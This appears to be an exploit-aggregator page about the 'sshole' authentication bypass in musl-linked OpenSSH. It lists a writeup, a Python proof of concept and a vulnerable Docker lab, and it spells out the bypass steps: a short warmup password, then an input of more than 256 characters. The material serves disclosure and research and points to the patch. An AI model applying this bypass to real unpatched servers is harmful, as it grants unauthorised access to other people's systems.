Skip to content
sshole exploit

sshole exploit

Sploitus • November 6, 2026

A detailed analysis and reproduction of the \*sshole vulnerability — an authentication bypass in OpenSSH's portable build when linked against musl libc (Alpine Linux, OpenWrt, Buildroot, etc.).

Disclosed November 5, 2026 by Özgün Kültekin. Fixed in OpenSSH 10.6p2.

| [`WRITEUP.md`](WRITEUP.md) | Full technical writeup — vulnerability chain, source code analysis (musl + OpenSSH), warmup mechanism, patch breakdown |

| [`poc.py`](poc.py) | Minimal proof-of-concept (Python + paramiko) |

| [`lab/Dockerfile`](lab/Dockerfile) | Self-contained vulnerable Alpine + OpenSSH lab environment |

docker run -d --name sshole-lab -p 127.0.0.1:2222:22 --restart no sshole-lab:vuln

ssh -o StrictHostKeyChecking=no -o PubkeyAuthentication=no -p 2222 [email protected]

# Prompt 1: type any short password (warmup) → rejected

# Prompt 2: paste >256 characters → authenticated

python3 poc.py 127.0.0.1 -p 2222 -u alpine

This repository is for **educational and authorized security research purposes only**. The lab container is deliberately vulnerable — bind it to `127.0.0.1` and do not expose it to any network.

- [Original advisory — sshhole.com](

- [OpenSSH patch — commit `4353fdc43`](

- [POSIX `crypt()` specification](

- [CVE-2016-6210]( — the timing side-channel that introduced `pick_salt()`

Extracted Entities

CVEs (1)

Domains (1)

Tools (1)

Vulnerabilities (1)